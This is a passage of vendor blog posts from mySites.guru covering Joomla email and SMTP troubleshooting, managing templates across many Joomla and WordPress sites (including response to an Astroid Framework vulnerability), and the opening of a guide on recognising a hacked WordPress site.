The audit results page shows you exactly what was tested and links to documentation explaining what to check. You can also see the trend: whether email was working on the previous audit and has now broken, or whether it's been failing for a while.

If you manage multiple sites, the pivot page shows the email configuration check result for every connected site on one screen. Sites with broken email show up immediately so you can fix them before anyone notices.

Scheduling regular email checks

You can schedule audits to run automatically on a daily, weekly, or custom schedule. Each audit includes the email test, so you get notified the moment email delivery breaks. No need to remember to test manually. No more discovering three months later that nobody's been receiving your contact form emails.

Combined with the site information dashboard, you can see email status alongside every other health indicator for all your sites in one view.

Detecting mass mailer scripts

A broken email configuration is one problem. A hacked site sending spam is a much bigger one.

When attackers compromise a Joomla site, one of the most common things they do is plant PHP scripts that send mass emails. These scripts bypass Joomla's mail configuration entirely, using their own SMTP connections or calling mail() directly. Your site becomes a spam relay without your knowledge.

The mySites.guru audit includes a dedicated Mass Mailers check that scans your entire webspace for non-core PHP files containing email-sending code. It looks for calls to mail(), PHPMailer, SwiftMailer, and other common patterns. Core Joomla files are excluded, so it only flags files that shouldn't be there.

If the check finds something, you'll see a red "Mailers" label with the count of suspicious files. You can drill into the tool to see exactly which files were flagged and inspect their contents. The same audit also runs full hack detection, scanning every line of code in your webspace for malicious patterns, including hidden dot-files that a manual review would never catch.

WordPress sites get the same test

This isn't just a Joomla thing. mySites.guru runs the same email delivery test on WordPress sites too. The audit uses WordPress's wp_mail() function to send a test message to the same AuditMailerTest@myjoomla.io address. If your WordPress site relies on the default PHP mail() function (which most do out of the box), the test will often fail because many hosts block it or the emails end up in spam.

Most WordPress sites need an SMTP plugin like WP Mail SMTP, FluentSMTP, or Post SMTP to send email reliably. The mySites.guru email test catches the sites where that plugin is missing, misconfigured, or where the SMTP credentials have gone stale. The same scheduling, trend tracking, and mass mailer detection all apply to your WordPress sites just as they do to Joomla.

The same pivot page works for WordPress too. Switch to the WordPress Sites tab and you'll see the email check result for every WordPress site in your account:

How does Joomla send email?

Before you can troubleshoot email, you need to understand the three ways Joomla can send it. Each one has different failure modes and different things that go wrong.

PHP Mail (the default)

When you install Joomla, the mailer is set to PHP Mail by default. This uses PHP's built-in mail() function, which hands the email off to whatever mail transfer agent (MTA) is configured on the server, usually Sendmail or Postfix.

The problem with PHP Mail is that you're entirely dependent on the server's mail configuration. You have no control over authentication, no encryption, and no visibility into whether the email was actually accepted. Many shared hosting providers disable mail() entirely. When they do, Joomla silently fails. No error. No bounce. Nothing.

Sendmail

The Sendmail option lets you specify the path to the Sendmail binary on the server (default /usr/sbin/sendmail). It shares all the same problems as PHP Mail: no authentication, no encryption, no delivery feedback. Don't use either option unless the server administrator has specifically configured the MTA to relay through an authenticated SMTP service.

SMTP (the right choice)

SMTP is the only option that gives you real control. You specify a mail server hostname, port, authentication credentials, and encryption method. Joomla connects directly to the SMTP server and hands off the email using a proper authenticated session.

It's also the only method that gives you logging. With PHP Mail and Sendmail, emails leave the server and you have no visibility into whether they were accepted, bounced, or silently dropped. SMTP providers log every message, so you can see exactly what was sent, when, and whether it was delivered.

This is what you should be using. Full stop.

<div class="not-prose my-6 rounded-lg border border-blue-200 bg-blue-50 p-4 dark:border-blue-800 dark:bg-blue-950"> <p class="font-medium text-blue-900 dark:text-blue-200">SMTP is not just for "advanced users"</p> <p class="mt-1 text-sm text-blue-800 dark:text-blue-300">Every Joomla site should use SMTP. PHP Mail and Sendmail are legacy options that offer no authentication, no encryption, and no delivery tracking. If your contact form matters to your business, configure SMTP properly.</p> </div>

What do Joomla's email settings mean?

All email configuration lives in System > Global Configuration > Server tab in the Joomla admin. Here's what each setting does and what can go wrong with it.

Mailer

Dropdown with three options: PHP Mail, Sendmail, or SMTP. As covered above, choose SMTP.

From Email

The email address Joomla puts in the From: header of every email it sends. If this address doesn't match the domain of your SMTP server (or at least a domain you've authorized via SPF/DKIM), receiving servers will flag your emails as suspicious.

Common mistake: Setting this to a generic address like admin@gmail.com or leaving it as the default admin@example.com. Your emails will land in spam or be rejected outright.

From Name

The display name that appears alongside the From Email address. Usually your site name or business name. This is cosmetic but matters for trust. Emails from "Joomla! powered site" look unprofessional and get ignored.

SMTP Host

The hostname of your SMTP server. Common examples:

smtp.gmail.com (Google Workspace)
smtp.office365.com (Microsoft 365)
smtp.postmarkapp.com (Postmark)
email-smtp.eu-west-1.amazonaws.com (Amazon SES)
mail.yourdomain.com (cPanel/hosting provider)

Common mistake: Using localhost when the server doesn't have a local SMTP service running, or using an IP address that gets blocked by the receiving server's firewall.

SMTP Port

The port number for the SMTP connection. The correct port depends on the encryption method:

Port 587 - STARTTLS (the modern standard, use this)
Port 465 - Implicit TLS/SSL (older but still supported by many providers)
Port 25 - No encryption (blocked by most hosting providers and ISPs, never use this for authenticated mail)

Common mistake: Using port 25 because "it's the SMTP port." Port 25 is for server-to-server relay, not authenticated client submission. Most hosting providers block outbound port 25 entirely. Use 587.

SMTP Security

The encryption method: None, SSL/TLS, or STARTTLS. Always use STARTTLS (port 587) or SSL/TLS (port 465). Never use None.

Common mistake: Setting this to None because "it's just internal mail." Even on internal networks, unencrypted SMTP exposes your credentials in plain text to anyone sniffing the network.

SMTP Authentication

Whether the SMTP server requires a username and password. Almost every SMTP server requires authentication. The only exception is some internal relay servers on managed hosting, but even those are increasingly requiring auth.

SMTP Username and Password

Your SMTP credentials. These are typically not the same as your email login, especially with services like Gmail (which requires an App Password or OAuth), Amazon SES (which uses IAM credentials), and Postmark (which uses API tokens).

Common mistake: Using your personal email password. If your Joomla site is ever compromised (and every Joomla 4 version was exploitable for configuration file exposure except the latest few) the attacker gets your email password too.

<div class="not-prose my-6 rounded-lg border border-red-200 bg-red-50 p-4 dark:border-red-800 dark:bg-red-950"> <p class="font-medium text-red-900 dark:text-red-200">Never reuse personal email credentials</p> <p class="mt-1 text-sm text-red-800 dark:text-red-300">If you can see test emails from <a href="/blog/emails-from-auditmailertest-myjoomla-io/" class="text-red-900 underline dark:text-red-200">AuditMailerTest@myjoomla.io</a> in your personal mail client's sent folder, it means you're using your personal account credentials in Joomla. That's a security risk you should fix today.</p> </div>

What are the seven most common Joomla email configuration mistakes?

After years of running security audits across tens of thousands of Joomla sites, these are the problems I see over and over again.

1. Using PHP Mail on a server that blocks it

Many shared hosting providers disable PHP's mail() function to prevent spam abuse. When they do, Joomla's PHP Mail option silently fails. You get no error, no bounce, nothing. The form submission goes through, the email vanishes.

Fix: Switch to SMTP. Always.

2. Wrong SMTP port after a hosting migration

You migrate to a new host, restore your Joomla backup, and everything looks fine. Except the new host uses port 587 instead of port 465, or vice versa. Your SMTP credentials might even be correct, but the port mismatch means the connection never establishes.

Fix: Check with your new host which port they support. Test the connection explicitly.

3. SMTP password changed by the hosting provider

Hosting providers periodically rotate passwords, especially on shared hosting. When they do, your Joomla SMTP password becomes invalid. Some providers notify you. Many don't.

Fix: Use a dedicated transactional email service (Postmark, Amazon SES, Mailgun) where you control the credentials and get notified of any changes.

4. From address doesn't match SPF/DKIM records

Your site sends email from info@yourdomain.com but the SMTP server is smtp.thirdpartyservice.com. The receiving server checks the SPF record for yourdomain.com, doesn't find the third-party service's IP address listed, and either rejects the email or dumps it in spam.

Fix: Add the SMTP service's SPF include to your domain's DNS. Set up DKIM signing. Consider adding a DMARC policy too. Your email service provider will have documentation on exactly what DNS records to add.

5. SSL certificate mismatch on the SMTP server

You connect to mail.yourdomain.com on port 465, but the SSL certificate on the mail server is issued to server42.hostingprovider.com. PHP's OpenSSL extension rejects the connection because the certificate doesn't match the hostname.

Fix: Either use the hostname that matches the certificate (ask your host what it is) or switch to a proper email service where certificate management is handled for you.

6. Using "Send Copy to Submitter" and getting flagged as spam

Joomla's contact form has a Send Copy To Submitter option that forwards a copy of the form submission to whatever email address the visitor entered. Spammers abuse this by submitting the form with a victim's email address, making your site the spam source.

Fix: Disable Send Copy to Submitter globally. mySites.guru's snapshot checks this setting automatically.

7. Plaintext passwords enabled in Joomla

Older Joomla versions can be configured to email new users their password in plain text. Apart from being a terrible security practice, these emails are more likely to be flagged by spam filters because they contain sensitive-looking content.

Fix: Disable the plain text password setting. mySites.guru's snapshot checks this too and can toggle it off with one click.

How to manually test your Joomla email

If you suspect email is broken, here's how to confirm it without waiting for a real form submission.

Method 1: Joomla's built-in mass mail

Go to Users > Mass Mail Users in the Joomla admin. Select the Super Users group, type a test subject and body, and send. Check your inbox (and spam folder). If you get the email, your configuration works for sending to your own address at least.

The limitation: this only tests sending to addresses you already know work. It doesn't tell you whether emails to other domains are being delivered or rejected.

Method 2: Create a test contact form submission

Fill in your own site's contact form using a different email address (a Gmail or Outlook.com address you control). Check whether you receive the form submission email. Check whether the submitter receives a copy (if that option is enabled).

This exercises the full contact form pipeline, not just the raw mail function.

Method 3: Check the mail queue and server logs

If you have SSH access, run mailq to check for stuck messages. Check /var/log/mail.log or /var/log/maillog for errors like Connection refused (wrong port or firewall), Authentication failed (wrong credentials), Relay access denied (unauthorized From address), or Certificate verification failed (SSL mismatch).

Method 4: Use an external SMTP testing tool

Tools like SMTPer.net let you test SMTP connections from outside your server. Enter your SMTP host, port, credentials, and encryption method, and it will tell you exactly what's happening at each step of the connection.

Why isn't manual testing enough?

The problem with all of these manual tests is that they only tell you email works right now. They don't tell you when it stops working tomorrow because your hosting provider changed something, your SSL certificate expired, or your SMTP service rotated your API key.

Email configuration is one of those things that works perfectly until it doesn't, and when it breaks, nobody notices until the damage is done.

You need automated, ongoing testing. That's exactly what the mySites.guru audit handles for you.

How do you set up a dedicated transactional email service?

I strongly recommend using a dedicated transactional email provider instead of your hosting provider's built-in SMTP. You get centralised activity logs showing every email your site sent, when it was delivered, and whether it bounced. The sending infrastructure has actively managed IP reputation, so your emails actually land in inboxes instead of spam folders. Bounce handling is built in, so bad addresses get flagged instead of silently failing.

Your hosting provider's mail server shares its IP with hundreds of other customers. If one of them sends spam, the IP gets blacklisted and your emails stop arriving too. Dedicated providers maintain clean IP pools and actively monitor reputation, which is something your $10/month shared host simply doesn't do.

Postmark

Postmark is purpose-built for transactional email (not marketing email). It provides excellent deliverability, detailed delivery tracking, and bounce management. To use Postmark with Joomla, set SMTP Host to smtp.postmarkapp.com, port 587 with STARTTLS, and use your Postmark Server API Token as both the username and password. Your From Email must be a verified sender address in Postmark.

Amazon SES

Amazon SES is the cheapest option at scale. It requires more setup (IAM users, DKIM verification, moving out of the sandbox) but costs fractions of a penny per email.

Google Workspace / Microsoft 365

If you're already paying for Google Workspace or Microsoft 365, you can technically use their SMTP servers, but I'd think twice about it. Google has deprecated "Less Secure Apps" (basic username/password authentication) and now requires OAuth 2.0 for SMTP access. Neither Joomla nor WordPress supports OAuth for sending emails natively, so you'd need App Passwords (which Google may further restrict) or a third-party plugin that handles the OAuth flow. Microsoft 365 has similar restrictions in the pipeline.

This is another reason I recommend a dedicated transactional email service like Postmark or Amazon SES. They use standard SMTP credentials that just work, without OAuth headaches or provider-imposed sending limits.

Which DNS records affect email delivery?

Even with perfect SMTP settings, your emails can still fail if your DNS records aren't set up correctly. SPF, DKIM, and DMARC are a whole topic on their own, and getting them wrong can be worse than not having them at all. I'll give a brief overview here, but if you're not familiar with email authentication records, spend some time with the DMARCLY guide before making changes.

SPF (Sender Policy Framework) is a DNS TXT record that lists which IP addresses and services are allowed to send email for your domain. If your SMTP provider isn't included, receiving servers will reject or spam-flag your messages. DKIM (DomainKeys Identified Mail) adds a cryptographic signature to outgoing emails that the receiving server verifies against a public key in your DNS. DMARC ties SPF and DKIM together and tells receiving servers what to do when a message fails both checks.

All three need to be correct and consistent with each other. A misconfigured SPF record can block legitimate email. A missing DKIM signature can tank your deliverability even if SPF passes. And a DMARC policy set to p=reject before you've verified everything will silently drop real messages.

<div class="not-prose my-6 rounded-lg border border-amber-200 bg-amber-50 p-4 dark:border-amber-800 dark:bg-amber-950"> <p class="font-medium text-amber-900 dark:text-amber-200">Get DNS right before you change DMARC policy</p> <p class="mt-1 text-sm text-amber-800 dark:text-amber-300">Start with <code>p=none</code> to monitor. Use <a href="https://mxtoolbox.com/" class="text-amber-900 underline dark:text-amber-200">MXToolbox</a> to verify your SPF and DKIM records are correct before moving to <code>p=quarantine</code> or <code>p=reject</code>. Allow up to 48 hours for DNS propagation after any changes.</p> </div>

A complete Joomla email health checklist

Use this checklist to verify your Joomla site's email configuration from top to bottom:

Mailer set to SMTP - Not PHP Mail, not Sendmail
SMTP host is correct - Matches your email provider's documented hostname
SMTP port is 587 - With STARTTLS encryption (or 465 with SSL/TLS)
SMTP authentication enabled - With dedicated credentials (not personal email)
From Email matches your domain - And that domain has SPF/DKIM records authorizing the SMTP server
From Name is your business name - Not "Joomla! powered site"
Send Copy to Submitter is disabled - To prevent spam abuse
Plaintext passwords disabled - Joomla should never email passwords in the clear
SPF DNS record exists - Includes your SMTP provider
DKIM DNS record exists - Provided by your SMTP service
DMARC DNS record exists - Set to at least p=quarantine
Test email actually arrives - Not just "config looks right" but verified delivery

If you manage more than a handful of sites, running through this list manually on each one is impractical. That's exactly what mySites.guru's audit and snapshot tools are built for: automated checks across all your connected sites, with best practice enforcement and trend tracking so you can see when something changes.

Troubleshooting: Joomla email was working and now it isn't

Everything was fine last week and now nothing sends. Here's a systematic approach to diagnosing it.

Step 1: Check if the problem is Joomla or the SMTP server. Try sending an email through your SMTP service's web interface or API directly. If that works, the problem is in Joomla's configuration. If that also fails, the problem is with the SMTP service itself.

Step 2: Check for recent changes. Did you update Joomla? Update a plugin? Change hosting? Move servers? Any of these can alter mail settings or break an existing connection. Check your mySites.guru audit history; the quick snapshot shows what changed between snapshots.

Step 3: Verify credentials. Log into your SMTP service's dashboard and confirm your credentials are still valid. Check for expiration notices, IP allowlist changes, or account suspensions.

Step 4: Check server-level blocks. Some hosting providers block outbound SMTP connections (especially on port 25, but sometimes on 465 and 587 too). Contact your host and ask if they've changed their firewall rules.

Step 5: Check DNS records. Use MXToolbox to verify your SPF, DKIM, and DMARC records are still intact. Domain transfers, DNS provider changes, or accidental record deletions can break email authentication overnight.

Step 6: Check for blacklisting. If your server's IP address has been blacklisted due to spam (possibly from another site on the same shared hosting), your emails will be rejected by many receiving servers. Use MXToolbox's blacklist check to see if your IP appears on any major blocklists.

How do you manage email configuration across multiple sites?

If you run an agency with dozens or hundreds of Joomla sites, keeping track of email configuration across all of them is a pain. Each site has its own SMTP settings, its own DNS records, its own potential failure points.

mySites.guru was built for exactly this scenario. Every scheduled audit runs the email delivery test across all your connected sites automatically, and the site information dashboard shows the result alongside 140+ other checks. You can see at a glance which sites have working email and which don't, track when a previously working configuration breaks, and share the results with clients through automated white-label reports. Unlimited sites on a single subscription, so there's no per-site cost as your portfolio grows.

Get started

If you're not sure whether your Joomla sites can actually send email right now, run a free audit. It takes less than a minute to connect your site, and you'll get a clear pass/fail result for email delivery along with dozens of other security and configuration checks.

You might be surprised what you find.

Email configuration checks are covered in our Joomla Agency Handbook.

How to Compare Joomla Templates Across All Your Sites

phil@mysites.guru (Phil Taylor) — Sun, 15 Mar 2026 00:00:00 GMT

When you manage a handful of Joomla sites, keeping track of which template each one uses is simple enough. You probably remember off the top of your head. But once you cross into double digits, or triple, that casual mental inventory falls apart fast.

Which sites are still on Cassiopeia? Did you finish migrating that client from Protostar to a commercial template after the Joomla 4 upgrade? Is anyone still running an old version of the Astroid Framework that needs patching? These are the kinds of questions that eat up entire afternoons when you have to log into each site's administrator panel to find the answer.

The Active Theme and Template List tool in mySites.guru puts all of that information on a single page. Every connected site, its active template or theme, the version number, and the author - searchable, filterable, and exportable as CSV. No logging into admin panels. No spreadsheets maintained by hand. No guessing.

Why Are Joomla Templates Code, Not Decoration?

Most people think of templates as a cosmetic layer. Pick some colours, choose a layout, maybe adjust a few spacing values, and you are done. That thinking is wrong.

A Joomla template is PHP, HTML, CSS, and JavaScript executing on your server on every single page load. It handles output rendering, menu logic, module positioning, responsive breakpoints, asset loading, and often bundles its own framework with thousands of lines of code. A complex commercial template can have more code than some extensions. It is not arranging prettiness - it is code that happens to produce prettiness.

And code needs maintenance. Code has bugs. Code has security vulnerabilities. Code has dependencies that go end-of-life. When you install a template and forget about it because "it's just the design," you are leaving unmaintained code running on a production server. You would never do that with a plugin or component, but people do it with templates constantly because the word "template" sounds harmless.

If you manage 50 sites and each one has a template with its own framework, that is 50 installations of code that need version tracking, update management, and security monitoring. Treat templates the way you treat every other piece of software on the server: know what version is running, know when updates are available, and patch vulnerabilities immediately.

Why Joomla template visibility matters across a portfolio

Templates carry the same risks as any other extension. A template with a security vulnerability is just as dangerous as a plugin with one - sometimes more so, because templates tend to get less attention during routine maintenance.

The Astroid Framework vulnerability in early March 2026 was a perfect case study. CVE-2026-21628 scored a CVSS 10.0 - the maximum possible severity - and affected every version of the Astroid Framework before 3.3.11. Attackers used it to install backdoor plugins and inject hidden SEO spam into affected sites without ever needing to log in.

The agencies that responded fastest were the ones that could answer one question immediately: "Which of my sites are running an Astroid-based template?" If you had to log into each site to check, you were already behind.

That was not an isolated incident. Over the years, Joomla template frameworks and their bundled components have been hit by directory traversal flaws, SQL injection reports, and file upload bypasses. Some affected the template code directly; others targeted companion components or media managers that ship alongside the template. The common thread is always the same: if you do not know which sites are running the affected framework, you cannot respond fast enough.

<div class="not-prose my-6 rounded-lg border border-blue-200 bg-blue-50 p-4 dark:border-blue-800 dark:bg-blue-950"> <p class="font-medium text-blue-900 dark:text-blue-200">Template management is about knowing what code is running across your entire portfolio so you can act fast when something goes wrong.</p> </div>

Beyond security, template visibility helps with:

Standardisation - Confirming all client sites have been migrated to your preferred template framework after a major CMS upgrade
Documentation - Producing an accurate inventory for internal records, client handovers, or compliance requirements
Version tracking - Spotting sites that are running outdated template versions when the developer has released updates
Audit readiness - Having a single source of truth for what is deployed where, without relying on memory or manual records

What Is the Active Theme and Template List Tool?

The template list tool lives in the Tools section of your mySites.guru dashboard. It pulls data from the latest snapshot of every connected site and presents it in a single table.

What the table shows

Each row in the table represents one connected site. The columns are:

Site - The site name and URL, displayed as a clickable link to the site's management page in mySites.guru
Site Version - The CMS version running on that site (e.g., Joomla 5.3.1, WordPress 6.8), displayed with a colour-coded badge
Name - The name of the currently active template (Joomla) or theme (WordPress)
Theme Version - The version number of the active template or theme
Author - The developer or company that created the template

This gives you a complete at-a-glance view of what every site in your portfolio is running - without clicking through to individual admin panels or expanding any dropdowns.

Searching and filtering

At the top of the table is a search box that filters the results in real time. You can search by:

Site name or URL - Find a specific client's site quickly
Template name - Type "Astroid" to see every site using an Astroid-based template, or "Cassiopeia" to find sites still on the Joomla default
PHP version - Filter by PHP version to cross-reference template compatibility
Platform - Filter by Joomla or WordPress to see only one CMS type

The search is an exact-match filter, so it narrows results as you type. If you need to find all sites running a particular template, you can type the template name and see the filtered list in under a second.

<div class="not-prose my-6 rounded-lg border border-blue-200 bg-blue-50 p-4 dark:border-blue-800 dark:bg-blue-950"> <p class="font-medium text-blue-900 dark:text-blue-200">Note</p> <p class="mt-1 text-sm text-blue-800 dark:text-blue-300">The template data is updated every 12 hours by the automated snapshot, or whenever you manually trigger a snapshot from the Manage Site page. If you have just changed a template on a site, run a snapshot to update the data in mySites.guru before checking the list.</p> </div>

Exporting to CSV

Next to the search box is an Export CSV button. One click and you get a downloadable CSV file containing:

Column	Description
`site_url`	The full URL of the site
`site_version`	The CMS version (e.g., 5.3.1)
`site_platform`	The platform type (Joomla or WordPress)
`theme_name`	The active template or theme name
`theme_version`	The template or theme version number
`theme_author`	The developer or company name

This CSV is ready to drop into a spreadsheet, import into a project management tool, or attach to a client report. For agencies that need to document their infrastructure for compliance or handover purposes, this single export replaces hours of manual data gathering.

You can also incorporate this data into your white-label client reports for a polished, professional deliverable.

How Do You Spot Sites on Default or Legacy Joomla Templates?

One of the most common template management tasks is identifying sites that are still running a default CMS template. In Joomla, that means Cassiopeia (Joomla 4 and 5) or Protostar (Joomla 3). These templates are functional but generic, and for most professional sites they should have been replaced with something purpose-built long ago.

mySites.guru includes an automated snapshot check specifically for this. The "Default Template Used" check flags any site where the active template is one of Joomla's built-in defaults. It appears as an issue in the site's snapshot results, with a clear recommendation to switch to a custom template.

This check runs automatically every 12 hours alongside the other 140+ snapshot checks. You do not need to remember to look for it - the system surfaces it for you.

Why default templates are worth flagging

Default templates are not necessarily insecure, but they do create several practical problems:

Recognition - Visitors and search engines associate default templates with unfinished or unmaintained sites. It does not inspire confidence.
Feature limitations - Default templates lack the layout options, performance optimisations, and customisation hooks that commercial template frameworks provide.
Upgrade risk - When Joomla releases a new major version, the default template often changes entirely. Sites still on the old default face a harder migration path.
Client perception - If you are managing sites for clients, a default template suggests the project was not completed properly. It reflects on your agency's work.

The template list tool makes it trivial to scan for default templates across your entire portfolio. Type "Cassiopeia" in the search box, and every site still running it appears immediately. From there, you can prioritise which ones to migrate first.

How Do You Manage Joomla Templates During CMS Migrations?

Major CMS upgrades are when template management gets genuinely complicated. Joomla 3 to Joomla 4 required a complete template change for most sites - the old template system was fundamentally different. Joomla 4 to Joomla 5 was smoother, but template compatibility still needed verifying. And now with Joomla 6 on the horizon, the cycle is about to repeat.

During these transitions, the template list tool becomes your progress tracker.

Before the migration

Open the Active Theme and Template List and export the CSV - this is your baseline
Filter by the old platform version to see which sites still need upgrading
Note which templates are in use and check with each template developer for compatibility with the new CMS version
Use the extension management tool to check for template framework updates that add compatibility

During the migration

After upgrading each site, run a manual snapshot to refresh the template data
Check the template list to confirm the new template is active and the version number is correct
Use the search box to filter for the old template name - any remaining results are sites that still need attention

After the migration

Export a fresh CSV as your post-migration baseline
Compare it against the pre-migration export to verify every site was updated
Archive both CSVs for your records

This structured approach prevents the most common migration mistake: thinking you have finished when there are still a handful of sites left on the old template. The template list gives you an objective answer instead of relying on your memory of which sites you have already touched.

Using the template list for security response

When a template vulnerability is disclosed, response time is everything. The template list tool gives you the fastest possible path from "there is a vulnerability" to "these are the sites I need to patch."

The workflow for a template security event

Identify the affected template - Check the vulnerability disclosure for the template name and affected versions
Search the template list - Type the template name in the search box to see every site in your portfolio using it
Check versions - The Theme Version column tells you immediately which sites are running a vulnerable version
Prioritise and act - Start with the most critical or publicly visible sites, then work through the rest
Push the update - If the template developer has released a patch, use the mass package installer to push it to all affected sites at once
Verify - Run snapshots on the updated sites and check the template list again to confirm the new version is showing

This entire process takes minutes, not hours. Compare that to logging into each admin panel individually, navigating to the template manager, checking the version, downloading the update, installing it, and moving on to the next site. At scale, the time savings are enormous.

<div class="not-prose my-6 rounded-lg border border-amber-200 bg-amber-50 p-4 dark:border-amber-800 dark:bg-amber-950"> <p class="font-medium text-amber-900 dark:text-amber-200">The recent Astroid Framework vulnerability (CVE-2026-21628) affected every version before 3.3.11. Agencies using mySites.guru could identify all affected sites in seconds using the template list and extension search, then push the update to all of them at once using the mass package installer.</p> </div>

We covered the Astroid vulnerability in detail when it dropped. If you want to hear about security issues like these as they happen, subscribe to the newsletter or sign up for mySites.guru to get vulnerability alerts directly in your dashboard.

Does the Template List Cover WordPress Themes?

While this article focuses on Joomla - because Joomla template management across large portfolios is a particularly underserved need - the template list tool covers WordPress sites equally well.

WordPress themes appear in the same table with the same columns: theme name, version, and author. The CSV export includes a site_platform column so you can distinguish between Joomla templates and WordPress themes when processing the data.

This is especially useful for agencies that manage a mixed portfolio of Joomla and WordPress sites. Instead of checking two different systems or maintaining separate inventories, everything is in one place. The mySites.guru dashboard was built for exactly this kind of cross-platform visibility.

For WordPress specifically, the same default theme warning applies. Sites running Twenty Twenty-Five (or any of the annual default themes) are flagged by the snapshot, just as Joomla sites running Cassiopeia are flagged.

Integrating template data into your workflow

The template list connects to other parts of mySites.guru that help you act on the information.

Combined with extensions management

Templates do not exist in isolation. A Joomla template built on the Astroid Framework depends on that framework being installed and up to date. A template built on the Helix3 or T4 framework has the same dependency.

The extensions management tool lets you search for these frameworks by name and see every site that has them installed, along with the version number. Cross-referencing this with the template list gives you a complete picture: which template is active, and which underlying framework it depends on.

This is how you spot a site that has been upgraded to a new template but still has the old template's framework installed and potentially vulnerable. The template list shows the active template; the extensions list shows everything installed, whether active or not.

Combined with site information

The site information dashboard provides the broader context for each site: PHP version, CMS version, server environment, SSL status, and more. When you spot a site on an old template version in the template list, you can check the site information to understand why - maybe it is running an older PHP version that cannot support the latest template release, or the CMS version has not been updated either.

Combined with client reports

If you send regular reports to clients, the template data feeds into the information available for your white-label reports. You can document exactly which template is in use, confirm it is up to date, and demonstrate that you are actively managing the site's infrastructure - not just keeping the content fresh.

Combined with the snapshot

Every template data point in the list comes from the automated snapshot. The snapshot runs 140+ checks across every connected site, twice a day. The template list is just one view of that data. Other snapshot checks that relate to templates include:

Whether the site is using a default template (flagged as an issue)
Whether the robots.txt file is blocking the /templates/ or /media/ directories from search engines (which prevents Google from accessing CSS and images)
The overall configuration health of the site, which can be affected by template settings

Real-world scenarios

Scenario 1: Template framework update across 80 sites

You receive an email from a template developer announcing a new version with a security patch. You need to know which sites are running that template and which version they are on.

Open the template list in mySites.guru
Type the template name in the search box
The filtered list shows 23 of your 80 sites are using that template
The Theme Version column shows 19 are on the old version, 4 have already been updated
Click Export CSV to document the current state
Use the mass package installer to push the update to the 19 remaining sites
Run snapshots and check the template list again - all 23 now show the new version
Export another CSV for your records

Total time: about 10 minutes. Without mySites.guru, that same task would involve logging into 80 admin panels just to identify the 23 affected sites, before you even start updating.

Scenario 2: Client portfolio handover

You are taking over management of 35 Joomla sites from another agency. You need to document exactly what is deployed on each site.

Connect all 35 sites to your mySites.guru account
Wait for the initial snapshots to complete (or trigger them manually)
Open the template list and export the CSV
Open the extensions list and note the template frameworks in use
Cross-reference with the site information dashboard for PHP versions and CMS versions
Attach all three exports to your handover documentation

You now have a complete, accurate inventory without having logged into a single admin panel.

Scenario 3: Standardising templates after acquisition

Your agency has acquired a smaller agency, and you want to standardise all sites onto your preferred template framework. You need to know what is currently in use across both portfolios.

Connect the acquired agency's sites to your mySites.guru account (there is no limit on the number of sites you can add)
Open the template list and search for your preferred template framework - these sites are already standardised
Search for other template names to identify the ones that need migrating
Export the CSV and sort by template name to group the migration work
Work through the list site by site, updating the template list as you go

The template list becomes your migration project tracker. As each site is migrated, it moves from the "old template" search results to the "new template" search results.

How Is the Data Collected?

The template data comes from the mySites.guru snapshot, which runs automatically twice daily on every connected site. The snapshot is fast - it completes in milliseconds - and collects over 140 data points about each site's configuration.

For Joomla sites, the snapshot reads the active template assignment from the site's configuration. It captures the template name, version number, and author as reported by the template's manifest file.

For WordPress sites, the snapshot reads the active theme information from the WordPress database, capturing the same data points: theme name, version, and author.

This data is stored in mySites.guru and made available through the template list tool, the CSV export, and the individual site management pages. It is refreshed every 12 hours automatically, or immediately when you trigger a manual snapshot.

<div class="not-prose my-6 rounded-lg border border-blue-200 bg-blue-50 p-4 dark:border-blue-800 dark:bg-blue-950"> <p class="font-medium text-blue-900 dark:text-blue-200">Note</p> <p class="mt-1 text-sm text-blue-800 dark:text-blue-300">The snapshot is distinct from the full audit. The snapshot checks configuration and settings in milliseconds. The <a href="/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/" class="text-blue-800 underline dark:text-blue-300">audit</a> inspects every file and line of code on the webspace, so it takes longer but catches things like malware in template files.</p> </div>

What Are Common Joomla Template Management Mistakes?

Managing templates across a large portfolio is straightforward when you have the right tooling. Without it, these mistakes happen regularly:

Not tracking template versions

Installing a template and never checking whether the developer has released updates is surprisingly common. Template updates contain bug fixes, performance improvements, and - critically - security patches. The template list makes version tracking automatic rather than something you have to remember to do.

Leaving old templates installed

After migrating a site to a new template, the old template often remains installed. It is not active, so it does not affect the front end, but the files are still on the server. If those files contain a vulnerability, they can still be exploited. The template list shows the active template; the extensions management tool shows all installed templates, including inactive ones.

Assuming all sites use the same template

In a large portfolio, it is easy to assume consistency where there is none. A site might have been set up by a different team member, or a client might have changed their template without telling you. The template list provides the ground truth, replacing assumptions with data.

Not documenting template choices

When a team member leaves, their knowledge of which templates are deployed where goes with them. The CSV export from the template list creates an instant, accurate record that does not depend on any individual's memory.

Ignoring the default template warning

The snapshot check for default templates is there for a reason. Default templates are fine for development and testing, but they should not be running on production client sites. If the warning keeps appearing and you keep ignoring it, you are accepting unnecessary risk and presenting an unprofessional appearance to your clients' visitors.

Getting started

If you already have a mySites.guru account with connected sites, the template list is available right now in your Tools section. The data populates automatically from your latest snapshots - there is nothing extra to configure or enable.

If you do not have an account yet, sign up on the pricing page and start connecting your Joomla and WordPress sites. The snapshot runs on each site as it is connected, and the template data appears in the list as soon as the snapshot completes. mySites.guru supports unlimited sites at a flat monthly rate - there is no per-site charge, so you can add your entire portfolio without worrying about costs scaling with your business.

For a broader look at everything mySites.guru offers beyond template management, check out the features page or read about the full dashboard experience.

Is My WordPress Site Hacked? How to Check and What to Do Next

phil@mysites.guru (Phil Taylor) — Thu, 12 Mar 2026 23:00:00 GMT

Something is off with your WordPress site. Maybe it's redirecting to a casino. Maybe Google is showing a "This site may be hacked" warning. Maybe your hosting provider just sent you a threatening email about malware.

Before you panic, you need to figure out what's actually happening. Not every weird behaviour means you've been hacked, but ignoring real signs can turn a small problem into a total mess.

Hack or false alarm?

Some symptoms point to a hack. Others are just a broken plugin or a hosting hiccup. Knowing the difference saves you hours chasing the wrong problem.

Strong indicators of a hack

These almost always mean someone has tampered with your site:

Unexpected redirects - Your site sends visitors (or just mobile visitors, or just Google visitors) to spam, pharmacy, or gambling sites
New admin users you didn't create - Check Users > All Users for accounts you don't recognise
Modified core files - WordPress core files (wp-includes, wp-admin) have been changed from their original versions
Google Safe Browsing warnings - Google shows "This site may harm your computer" in search results
Strange files in unexpected places - PHP files in your uploads folder, files with random names in wp-content, or hidden files starting with a dot
SEO spam injection - Your site shows pharmaceutical or gambling content to search engines but looks normal to you
Hosting provider notifications - Your host detected malware or suspended your account

Things that look like a hack but usually aren't

These cause confusion but typically have innocent explanations:

